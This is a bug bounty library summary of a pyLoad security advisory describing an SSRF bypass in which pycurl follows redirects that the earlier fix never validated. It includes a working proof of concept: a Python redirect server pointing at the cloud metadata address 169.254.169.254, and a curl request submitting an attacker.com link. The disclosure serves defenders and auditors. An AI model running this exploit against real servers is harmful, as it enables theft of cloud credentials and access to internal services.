# pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)

pyLoad's SSRF fix validated only the initial URL hostname; pycurl auto-followed 302 redirects to internal/metadata addresses, leaking cloud credentials.

- Payout: Research
- Severity: critical
- Program: pyLoad
- Found by: kodareef5
- Disclosed: 2026-04-04
- CVE: CVE-2026-35459
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7gvf-3w72-p2pg
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7gvf-3w72-p2pg
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix vuln:ssrf

**Target:** BaseDownloader / HTTPRequest (pycurl) download URL handling
**Root cause:** The CVE-2026-33992 fix validated only the initial download URL hostname/IP, but pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, so redirect targets are fetched without any SSRF validation.
**Steps:**
1. Note the SSRF check at src/pyload/plugins/base/downloader.py:335-341 only resolves/validates the initial dl_hostname.
2. Observe pycurl setopt FOLLOWLOCATION=1 and MAXREDIRS=10 at src/pyload/core/network/http/http_request.py:114-115 with no REDIR_PROTOCOLS restriction.
3. Run an attacker redirect server returning `302` with `Location: http://169.254.169.254/metadata/v1.json`.
4. Submit via `curl -b cookies.txt -X POST 'http://target:8000/json/add_package' -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'`.
5. SSRF check passes on attacker.com public IP; pycurl follows redirect to metadata endpoint and saves response to storage folder.
**How found:** Reviewed the patch for CVE-2026-33992 and noticed validation applied only to the initial URL while the HTTP client was configured to auto-follow redirects, leaving redirect targets unchecked.
**Exploitation:** Authenticated user with ADD permission submits a package link pointing to an attacker-controlled server that 302-redirects to an internal address; pycurl follows the redirect unvalidated and downloads cloud metadata (IAM credentials, instance identity) or internal/localhost service responses into the storage folder.
**Escalation:** Single redirect hop reaches 169.254.169.254 metadata for AWS/GCP/DigitalOcean/Azure, internal 10.x/172.16.x/192.168.x services, and 127.0.0.1.
**Insight:** When auditing an SSRF fix, check the HTTP client's redirect settings (FOLLOWLOCATION/MAXREDIRS, REDIR_PROTOCOLS) — validating only the submitted URL is bypassable with a single 302 from an attacker host.

## Proof of concept (copied exactly from the original report)

**Redirect server pointing to cloud metadata**

```
from http.server import HTTPServer, BaseHTTPRequestHandler

    class RedirectHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(302)
            self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
            self.end_headers()

    HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
```

**curl request submitting redirect URL to pyload**

```
curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
      -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'
```

